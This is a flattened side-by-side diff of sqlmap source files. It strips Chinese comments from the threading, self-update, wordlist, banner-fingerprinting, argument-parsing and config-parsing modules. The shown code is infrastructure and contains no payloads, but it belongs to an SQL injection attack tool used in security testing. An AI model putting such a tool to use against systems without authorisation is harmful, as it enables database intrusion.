except Exception as ex: except Exception as ex:
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
# 如果不是静默模式且线程应继续运行,且不是多次Ctrl+C,且不是用户退出或跳过目标异常
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
# 在详细模式下打印完整堆栈跟踪
if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
traceback.print_exc() traceback.print_exc()
def setDaemon(thread): def setDaemon(thread):
""" # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
设置线程为守护线程
守护线程会在主程序退出时自动终止
"""
if PYVERSION >= "2.6": if PYVERSION >= "2.6":
thread.daemon = True thread.daemon = True
else: else:
thread.setDaemon(True) thread.setDaemon(True)
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
"""
运行多个线程的主函数
参数:
numThreads - 要运行的线程数
threadFunction - 每个线程要执行的函数
cleanupFunction - 清理函数(可选)
forwardException - 是否转发异常
threadChoice - 是否允许用户选择线程数
startThreadMsg - 是否显示启动线程消息
"""
threads = [] threads = []
def _threadFunction(): def _threadFunction():
"""
内部线程函数
包装了原始的threadFunction,并确保正确关闭hashDB
"""
try: try:
threadFunction() threadFunction()
finally: finally:
if conf.hashDB: if conf.hashDB:
conf.hashDB.close() conf.hashDB.close()
# 初始化线程控制变量
kb.multipleCtrlC = False kb.multipleCtrlC = False
kb.threadContinue = True kb.threadContinue = True
kb.threadException = False kb.threadException = False
@ -163,7 +134,6 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.multiThreadMode = False kb.multiThreadMode = False
try: try:
# 处理单线程情况下的线程数选择
if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
while True: while True:
message = "please enter number of threads? [Enter for %d (current)] " % numThreads message = "please enter number of threads? [Enter for %d (current)] " % numThreads
@ -187,7 +157,6 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
warnMsg = "running in a single-thread mode. This could take a while" warnMsg = "running in a single-thread mode. This could take a while"
logger.warning(warnMsg) logger.warning(warnMsg)
# 处理多线程和单线程的执行
if numThreads > 1: if numThreads > 1:
if startThreadMsg: if startThreadMsg:
infoMsg = "starting %d threads" % numThreads infoMsg = "starting %d threads" % numThreads
@ -202,7 +171,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.multiThreadMode = True kb.multiThreadMode = True
# 启动所有线程 # Start the threads
for numThread in xrange(numThreads): for numThread in xrange(numThreads):
thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction]) thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction])
@ -217,7 +186,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
threads.append(thread) threads.append(thread)
# 等待所有线程完成 # And wait for them to all finish
alive = True alive = True
while alive: while alive:
alive = False alive = False
@ -227,7 +196,6 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
time.sleep(0.1) time.sleep(0.1)
except (KeyboardInterrupt, SqlmapUserQuitException) as ex: except (KeyboardInterrupt, SqlmapUserQuitException) as ex:
# 处理用户中断
print() print()
kb.prependFlag = False kb.prependFlag = False
kb.threadContinue = False kb.threadContinue = False
@ -253,7 +221,6 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
raise raise
except (SqlmapConnectionException, SqlmapValueException) as ex: except (SqlmapConnectionException, SqlmapValueException) as ex:
# 处理连接和值错误异常
print() print()
kb.threadException = True kb.threadException = True
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex))
@ -262,7 +229,6 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
traceback.print_exc() traceback.print_exc()
except Exception as ex: except Exception as ex:
# 处理其他未预期的异常
print() print()
if not kb.multipleCtrlC: if not kb.multipleCtrlC:
@ -277,13 +243,11 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
traceback.print_exc() traceback.print_exc()
finally: finally:
# 清理工作
kb.multiThreadMode = False kb.multiThreadMode = False
kb.threadContinue = True kb.threadContinue = True
kb.threadException = False kb.threadException = False
kb.technique = None kb.technique = None
# 释放所有锁
for lock in kb.locks.values(): for lock in kb.locks.values():
if lock.locked(): if lock.locked():
try: try:
@ -291,10 +255,8 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
except: except:
pass pass
# 刷新哈希数据库
if conf.get("hashDB"): if conf.get("hashDB"):
conf.hashDB.flush(True) conf.hashDB.flush(True)
# 执行清理函数
if cleanupFunction: if cleanupFunction:
cleanupFunction() cleanupFunction()

@ -5,101 +5,86 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的Python标准库 import glob
import glob # 用于文件路径模式匹配 import os
import os # 提供与操作系统交互的功能 import re
import re # 正则表达式模块 import shutil
import shutil # 提供高级文件操作功能 import subprocess
import subprocess # 用于创建子进程 import time
import time # 时间相关功能 import zipfile
import zipfile # ZIP文件操作
from lib.core.common import dataToStdout
# 从自定义库中导入所需函数 from lib.core.common import extractRegexResult
from lib.core.common import dataToStdout # 输出数据到标准输出 from lib.core.common import getLatestRevision
from lib.core.common import extractRegexResult # 提取正则表达式结果 from lib.core.common import getSafeExString
from lib.core.common import getLatestRevision # 获取最新版本号 from lib.core.common import openFile
from lib.core.common import getSafeExString # 安全地获取异常字符串 from lib.core.common import pollProcess
from lib.core.common import openFile # 打开文件 from lib.core.common import readInput
from lib.core.common import pollProcess # 轮询进程 from lib.core.convert import getText
from lib.core.common import readInput # 读取用户输入 from lib.core.data import conf
from lib.core.convert import getText # 文本转换 from lib.core.data import logger
from lib.core.data import conf # 配置数据 from lib.core.data import paths
from lib.core.data import logger # 日志记录器 from lib.core.revision import getRevisionNumber
from lib.core.data import paths # 路径信息 from lib.core.settings import GIT_REPOSITORY
from lib.core.revision import getRevisionNumber # 获取版本号 from lib.core.settings import IS_WIN
from lib.core.settings import GIT_REPOSITORY # Git仓库地址 from lib.core.settings import VERSION
from lib.core.settings import IS_WIN # 是否为Windows系统 from lib.core.settings import TYPE
from lib.core.settings import VERSION # 版本信息 from lib.core.settings import ZIPBALL_PAGE
from lib.core.settings import TYPE # 安装类型 from thirdparty.six.moves import urllib as _urllib
from lib.core.settings import ZIPBALL_PAGE # ZIP包下载页面
from thirdparty.six.moves import urllib as _urllib # URL处理
def update(): def update():
"""
更新sqlmap的主函数
"""
# 如果未启用更新全部选项,直接返回
if not conf.updateAll: if not conf.updateAll:
return return
success = False # 更新是否成功的标志 success = False
# 如果是通过pip安装的
if TYPE == "pip": if TYPE == "pip":
infoMsg = "updating sqlmap to the latest stable version from the " infoMsg = "updating sqlmap to the latest stable version from the "
infoMsg += "PyPI repository" infoMsg += "PyPI repository"
logger.info(infoMsg) # 记录更新信息 logger.info(infoMsg)
debugMsg = "sqlmap will try to update itself using 'pip' command" debugMsg = "sqlmap will try to update itself using 'pip' command"
logger.debug(debugMsg) # 记录调试信息 logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) # 显示更新进度 dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
output = "" output = ""
try: try:
# 执行pip更新命令
process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True) # 轮询进程 pollProcess(process, True)
output, _ = process.communicate() # 获取输出 output, _ = process.communicate()
success = not process.returncode # 检查返回码 success = not process.returncode
except Exception as ex: except Exception as ex:
success = False success = False
output = getSafeExString(ex) output = getSafeExString(ex)
finally: finally:
output = getText(output) output = getText(output)
# 根据更新结果输出相应信息
if success: if success:
logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)", output))) logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)", output)))
else: else:
logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip())
# 如果不是Git仓库
elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.warning(warnMsg) # 提示用户使用git克隆 logger.warning(warnMsg)
# 检查是否已是最新版本
if VERSION == getLatestRevision(): if VERSION == getLatestRevision():
logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION)) logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION))
return return
# 询问用户是否尝试下载ZIP包更新
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
try: try:
# 尝试创建/更新主程序文件
open(os.path.join(directory, "sqlmap.py"), "w+b") open(os.path.join(directory, "sqlmap.py"), "w+b")
except Exception as ex: except Exception as ex:
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
logger.error(errMsg) logger.error(errMsg)
else: else:
# 保存原文件属性
attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
# 清理目录内容
for wildcard in ('*', ".*"): for wildcard in ('*', ".*"):
for _ in glob.glob(os.path.join(directory, wildcard)): for _ in glob.glob(os.path.join(directory, wildcard)):
try: try:
@ -110,13 +95,11 @@ def update():
except: except:
pass pass
# 检查目录是否清空
if glob.glob(os.path.join(directory, '*')): if glob.glob(os.path.join(directory, '*')):
errMsg = "unable to clear the content of directory '%s'" % directory errMsg = "unable to clear the content of directory '%s'" % directory
logger.error(errMsg) logger.error(errMsg)
else: else:
try: try:
# 下载并解压最新的ZIP包
archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0] archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0]
with zipfile.ZipFile(archive) as f: with zipfile.ZipFile(archive) as f:
@ -125,7 +108,6 @@ def update():
if info.filename: if info.filename:
f.extract(info, directory) f.extract(info, directory)
# 获取并显示新版本信息
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
if os.path.isfile(filepath): if os.path.isfile(filepath):
with openFile(filepath, "rb") as f: with openFile(filepath, "rb") as f:
@ -139,12 +121,10 @@ def update():
logger.error("update could not be completed") logger.error("update could not be completed")
else: else:
try: try:
# 恢复文件属性
os.chmod(os.path.join(directory, "sqlmap.py"), attrs) os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
except OSError: except OSError:
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
# 如果是Git仓库
else: else:
infoMsg = "updating sqlmap to the latest development revision from the " infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository" infoMsg += "GitHub repository"
@ -157,7 +137,6 @@ def update():
output = "" output = ""
try: try:
# 执行git更新命令
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True) pollProcess(process, True)
output, _ = process.communicate() output, _ = process.communicate()
@ -168,7 +147,6 @@ def update():
finally: finally:
output = getText(output) output = getText(output)
# 根据git更新结果输出信息
if success: if success:
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber()))
else: else:
@ -179,7 +157,6 @@ def update():
else: else:
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip()) logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip())
# 如果更新失败,根据操作系统给出建议
if not success: if not success:
if IS_WIN: if IS_WIN:
infoMsg = "for Windows platform it's recommended " infoMsg = "for Windows platform it's recommended "

@ -5,22 +5,18 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入处理zip文件的模块
import zipfile import zipfile
# 导入一些工具函数和异常类 from lib.core.common import getSafeExString
from lib.core.common import getSafeExString # 用于安全地获取异常信息的字符串表示 from lib.core.common import isZipFile
from lib.core.common import isZipFile # 用于判断文件是否为zip格式 from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapDataException # sqlmap数据相关异常 from lib.core.exception import SqlmapInstallationException
from lib.core.exception import SqlmapInstallationException # sqlmap安装相关异常 from thirdparty import six
from thirdparty import six # Python 2/3 兼容性库
class Wordlist(six.Iterator): class Wordlist(six.Iterator):
""" """
用于遍历大型字典文件的迭代器类 Iterator for looping over a large dictionaries
这个类可以处理普通文本文件和zip压缩文件中的字典
支持多进程并行处理,可以将工作负载分配给不同进程
>>> from lib.core.option import paths >>> from lib.core.option import paths
>>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type) >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type)
True True
@ -29,100 +25,69 @@ class Wordlist(six.Iterator):
""" """
def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): def __init__(self, filenames, proc_id=None, proc_count=None, custom=None):
"""
初始化函数
:param filenames: 字典文件名(可以是单个字符串或字符串列表)
:param proc_id: 当前进程的ID(用于多进程并行处理)
:param proc_count: 总进程数
:param custom: 自定义的额外词列表(可选)
"""
# 确保filenames始终是列表格式
self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames
self.fp = None # 当前打开的文件对象 self.fp = None
self.index = 0 # 当前正在处理的文件索引 self.index = 0
self.counter = -1 # 已处理的行数计数器(从-1开始) self.counter = -1
self.current = None # 当前正在处理的文件名 self.current = None
self.iter = None # 当前文件的迭代器对象 self.iter = None
self.custom = custom or [] # 存储自定义词列表,如果没有则为空列表 self.custom = custom or []
self.proc_id = proc_id # 当前进程的ID self.proc_id = proc_id
self.proc_count = proc_count # 总进程数 self.proc_count = proc_count
self.adjust() # 初始化完成后,调整文件指针和迭代器状态 self.adjust()
def __iter__(self): def __iter__(self):
"""
实现迭代器协议的__iter__方法
使得这个类的实例可以在for循环中使用
"""
return self return self
def adjust(self): def adjust(self):
""" self.closeFP()
调整文件指针和迭代器的状态
在切换到新文件或重置迭代器时使用
"""
self.closeFP() # 首先关闭当前打开的文件(如果有)
if self.index > len(self.filenames): if self.index > len(self.filenames):
return # 如果已经处理完所有文件,直接返回 return # Note: https://stackoverflow.com/a/30217723 (PEP 479)
elif self.index == len(self.filenames): elif self.index == len(self.filenames):
self.iter = iter(self.custom) # 如果处理完所有文件,切换到自定义词列表 self.iter = iter(self.custom)
else: else:
self.current = self.filenames[self.index] # 获取当前要处理的文件名 self.current = self.filenames[self.index]
if isZipFile(self.current): # 判断是否为zip文件 if isZipFile(self.current):
try: try:
_ = zipfile.ZipFile(self.current, 'r') # 尝试打开zip文件 _ = zipfile.ZipFile(self.current, 'r')
except zipfile.error as ex: except zipfile.error as ex:
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException(errMsg) raise SqlmapInstallationException(errMsg)
if len(_.namelist()) == 0: # 检查zip文件是否为空 if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % self.current errMsg = "no file(s) inside '%s'" % self.current
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
self.fp = _.open(_.namelist()[0]) # 打开zip中的第一个文件 self.fp = _.open(_.namelist()[0])
else: else:
self.fp = open(self.current, "rb") # 以二进制模式打开普通文件 self.fp = open(self.current, "rb")
self.iter = iter(self.fp) # 创建文件内容的迭代器 self.iter = iter(self.fp)
self.index += 1 # 更新文件索引,为处理下一个文件做准备 self.index += 1
def closeFP(self): def closeFP(self):
"""
关闭当前打开的文件
防止资源泄露
"""
if self.fp: if self.fp:
self.fp.close() self.fp.close()
self.fp = None self.fp = None
def __next__(self): def __next__(self):
"""
实现迭代器的next方法
返回字典中的下一个词
支持多进程处理时的任务分配
"""
retVal = None retVal = None
while True: while True:
self.counter += 1 # 增加处理行数计数 self.counter += 1
try: try:
retVal = next(self.iter).rstrip() # 获取下一行并去除末尾空白字符 retVal = next(self.iter).rstrip()
except zipfile.error as ex: except zipfile.error as ex:
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException(errMsg) raise SqlmapInstallationException(errMsg)
except StopIteration: # 当前文件处理完毕 except StopIteration:
self.adjust() # 切换到下一个文件 self.adjust()
retVal = next(self.iter).rstrip() retVal = next(self.iter).rstrip()
# 在多进程模式下,根据进程ID筛选要处理的行
if not self.proc_count or self.counter % self.proc_count == self.proc_id: if not self.proc_count or self.counter % self.proc_count == self.proc_id:
break break
return retVal return retVal
def rewind(self): def rewind(self):
""" self.index = 0
重置迭代器到开始位置 self.adjust()
允许重新遍历字典
"""
self.index = 0 # 重置文件索引
self.adjust() # 重新调整文件指针和迭代器

@ -26,21 +26,13 @@ class MSSQLBannerHandler(ContentHandler):
def __init__(self, banner, info): def __init__(self, banner, info):
ContentHandler.__init__(self) ContentHandler.__init__(self)
# 初始化banner
self._banner = sanitizeStr(banner or "") self._banner = sanitizeStr(banner or "")
# 初始化是否在version标签中
self._inVersion = False self._inVersion = False
# 初始化是否在servicepack标签中
self._inServicePack = False self._inServicePack = False
# 初始化release
self._release = None self._release = None
# 初始化version
self._version = "" self._version = ""
# 初始化versionAlt
self._versionAlt = None self._versionAlt = None
# 初始化servicePack
self._servicePack = "" self._servicePack = ""
# 初始化info
self._info = info self._info = info
def _feedInfo(self, key, value): def _feedInfo(self, key, value):
@ -52,53 +44,41 @@ class MSSQLBannerHandler(ContentHandler):
self._info[key] = value self._info[key] = value
def startElement(self, name, attrs): def startElement(self, name, attrs):
# 如果标签名为signatures则获取release属性
if name == "signatures": if name == "signatures":
self._release = sanitizeStr(attrs.get("release")) self._release = sanitizeStr(attrs.get("release"))
# 如果标签名为version则设置_inVersion为True
elif name == "version": elif name == "version":
self._inVersion = True self._inVersion = True
# 如果标签名为servicepack则设置_inServicePack为True
elif name == "servicepack": elif name == "servicepack":
self._inServicePack = True self._inServicePack = True
def characters(self, content): def characters(self, content):
# 如果在version标签中则将content添加到_version中
if self._inVersion: if self._inVersion:
self._version += sanitizeStr(content) self._version += sanitizeStr(content)
# 如果在servicepack标签中则将content添加到_servicePack中
elif self._inServicePack: elif self._inServicePack:
self._servicePack += sanitizeStr(content) self._servicePack += sanitizeStr(content)
def endElement(self, name): def endElement(self, name):
# 如果标签名为signature则进行匹配
if name == "signature": if name == "signature":
for version in (self._version, self._versionAlt): for version in (self._version, self._versionAlt):
# 如果version不为空且banner不为空且banner中包含version则将release、version、servicePack添加到info中
if version and self._banner and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): if version and self._banner and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner):
self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsRelease", self._release)
self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsVersion", self._version)
self._feedInfo("dbmsServicePack", self._servicePack) self._feedInfo("dbmsServicePack", self._servicePack)
break break
# 重置version、versionAlt、servicePack
self._version = "" self._version = ""
self._versionAlt = None self._versionAlt = None
self._servicePack = "" self._servicePack = ""
# 如果标签名为version则将_version中的空格去除并尝试匹配
elif name == "version": elif name == "version":
self._inVersion = False self._inVersion = False
self._version = self._version.replace(" ", "") self._version = self._version.replace(" ", "")
# 尝试匹配
match = re.search(r"\A(?P<major>\d+)\.00\.(?P<build>\d+)\Z", self._version) match = re.search(r"\A(?P<major>\d+)\.00\.(?P<build>\d+)\Z", self._version)
# 如果匹配成功则将versionAlt设置为"%s.0.%s.0" % (match.group('major'), match.group('build'))
self._versionAlt = "%s.0.%s.0" % (match.group('major'), match.group('build')) if match else None self._versionAlt = "%s.0.%s.0" % (match.group('major'), match.group('build')) if match else None
# 如果标签名为servicepack则将_servicePack中的空格去除
elif name == "servicepack": elif name == "servicepack":
self._inServicePack = False self._inServicePack = False
self._servicePack = self._servicePack.replace(" ", "") self._servicePack = self._servicePack.replace(" ", "")
@ -111,31 +91,24 @@ def bannerParser(banner):
xmlfile = None xmlfile = None
# 如果数据库类型为MSSQL则设置xmlfile为paths.MSSQL_XML
if Backend.isDbms(DBMS.MSSQL): if Backend.isDbms(DBMS.MSSQL):
xmlfile = paths.MSSQL_XML xmlfile = paths.MSSQL_XML
# 如果数据库类型为MYSQL则设置xmlfile为paths.MYSQL_XML
elif Backend.isDbms(DBMS.MYSQL): elif Backend.isDbms(DBMS.MYSQL):
xmlfile = paths.MYSQL_XML xmlfile = paths.MYSQL_XML
# 如果数据库类型为ORACLE则设置xmlfile为paths.ORACLE_XML
elif Backend.isDbms(DBMS.ORACLE): elif Backend.isDbms(DBMS.ORACLE):
xmlfile = paths.ORACLE_XML xmlfile = paths.ORACLE_XML
# 如果数据库类型为PGSQL则设置xmlfile为paths.PGSQL_XML
elif Backend.isDbms(DBMS.PGSQL): elif Backend.isDbms(DBMS.PGSQL):
xmlfile = paths.PGSQL_XML xmlfile = paths.PGSQL_XML
# 如果xmlfile为空则返回
if not xmlfile: if not xmlfile:
return return
# 如果数据库类型为MSSQL则使用MSSQLBannerHandler解析xmlfile并使用FingerprintHandler解析paths.GENERIC_XML
if Backend.isDbms(DBMS.MSSQL): if Backend.isDbms(DBMS.MSSQL):
handler = MSSQLBannerHandler(banner, kb.bannerFp) handler = MSSQLBannerHandler(banner, kb.bannerFp)
parseXmlFile(xmlfile, handler) parseXmlFile(xmlfile, handler)
handler = FingerprintHandler(banner, kb.bannerFp) handler = FingerprintHandler(banner, kb.bannerFp)
parseXmlFile(paths.GENERIC_XML, handler) parseXmlFile(paths.GENERIC_XML, handler)
# 否则使用FingerprintHandler解析xmlfile和paths.GENERIC_XML
else: else:
handler = FingerprintHandler(banner, kb.bannerFp) handler = FingerprintHandler(banner, kb.bannerFp)
parseXmlFile(xmlfile, handler) parseXmlFile(xmlfile, handler)

@ -13,51 +13,40 @@ import shlex
import sys import sys
try: try:
# 从optparse模块中导入OptionError、OptionGroup、OptionParser和SUPPRESS_HELP
from optparse import OptionError as ArgumentError from optparse import OptionError as ArgumentError
from optparse import OptionGroup from optparse import OptionGroup
from optparse import OptionParser as ArgumentParser from optparse import OptionParser as ArgumentParser
from optparse import SUPPRESS_HELP as SUPPRESS from optparse import SUPPRESS_HELP as SUPPRESS
# 将ArgumentParser的add_argument方法替换为add_option方法
ArgumentParser.add_argument = ArgumentParser.add_option ArgumentParser.add_argument = ArgumentParser.add_option
# 定义一个_add_argument_group方法用于添加参数组
def _add_argument_group(self, *args, **kwargs): def _add_argument_group(self, *args, **kwargs):
return self.add_option_group(OptionGroup(self, *args, **kwargs)) return self.add_option_group(OptionGroup(self, *args, **kwargs))
# 将ArgumentParser的add_argument_group方法替换为_add_argument_group方法
ArgumentParser.add_argument_group = _add_argument_group ArgumentParser.add_argument_group = _add_argument_group
# 定义一个_add_argument方法用于添加参数
def _add_argument(self, *args, **kwargs): def _add_argument(self, *args, **kwargs):
return self.add_option(*args, **kwargs) return self.add_option(*args, **kwargs)
# 将OptionGroup的add_argument方法替换为_add_argument方法
OptionGroup.add_argument = _add_argument OptionGroup.add_argument = _add_argument
except ImportError: except ImportError:
# 如果导入optparse模块失败则从argparse模块中导入ArgumentParser、ArgumentError和SUPPRESS
from argparse import ArgumentParser from argparse import ArgumentParser
from argparse import ArgumentError from argparse import ArgumentError
from argparse import SUPPRESS from argparse import SUPPRESS
finally: finally:
# 定义一个get_actions方法用于获取所有参数
def get_actions(instance): def get_actions(instance):
for attr in ("option_list", "_group_actions", "_actions"): for attr in ("option_list", "_group_actions", "_actions"):
if hasattr(instance, attr): if hasattr(instance, attr):
return getattr(instance, attr) return getattr(instance, attr)
# 定义一个get_groups方法用于获取所有参数组
def get_groups(parser): def get_groups(parser):
return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups")
# 定义一个get_all_options方法用于获取所有参数和参数组中的参数
def get_all_options(parser): def get_all_options(parser):
retVal = set() retVal = set()
# 遍历所有参数
for option in get_actions(parser): for option in get_actions(parser):
if hasattr(option, "option_strings"): if hasattr(option, "option_strings"):
retVal.update(option.option_strings) retVal.update(option.option_strings)
@ -65,7 +54,6 @@ finally:
retVal.update(option._long_opts) retVal.update(option._long_opts)
retVal.update(option._short_opts) retVal.update(option._short_opts)
# 遍历所有参数组中的参数
for group in get_groups(parser): for group in get_groups(parser):
for option in get_actions(group): for option in get_actions(group):
if hasattr(option, "option_strings"): if hasattr(option, "option_strings"):

@ -5,58 +5,48 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块和函数 from lib.core.common import checkFile
from lib.core.common import checkFile # 检查文件是否存在和可访问 from lib.core.common import getSafeExString
from lib.core.common import getSafeExString # 安全地获取异常的字符串表示 from lib.core.common import openFile
from lib.core.common import openFile # 打开文件的工具函数 from lib.core.common import unArrayizeValue
from lib.core.common import unArrayizeValue # 将数组值转换为单个值 from lib.core.common import UnicodeRawConfigParser
from lib.core.common import UnicodeRawConfigParser # 处理Unicode的配置文件解析器 from lib.core.convert import getUnicode
from lib.core.convert import getUnicode # 将输入转换为Unicode字符串 from lib.core.data import cmdLineOptions
from lib.core.data import cmdLineOptions # 命令行选项存储 from lib.core.data import conf
from lib.core.data import conf # 全局配置字典 from lib.core.data import logger
from lib.core.data import logger # 日志记录器 from lib.core.enums import OPTION_TYPE
from lib.core.enums import OPTION_TYPE # 选项类型枚举 from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapMissingMandatoryOptionException # 缺少必需选项异常 from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSyntaxException # 语法错误异常 from lib.core.optiondict import optDict
from lib.core.optiondict import optDict # 选项字典
# 全局配置解析器对象
config = None config = None
def configFileProxy(section, option, datatype): def configFileProxy(section, option, datatype):
""" """
解析配置文件并将设置保存到高级配置字典中 Parse configuration file and save settings into the configuration
advanced dictionary.
参数:
section: 配置文件中的节名
option: 选项名
datatype: 数据类型
""" """
if config.has_option(section, option): # 检查配置中是否存在该选项 if config.has_option(section, option):
try: try:
# 根据数据类型获取相应的值 if datatype == OPTION_TYPE.BOOLEAN:
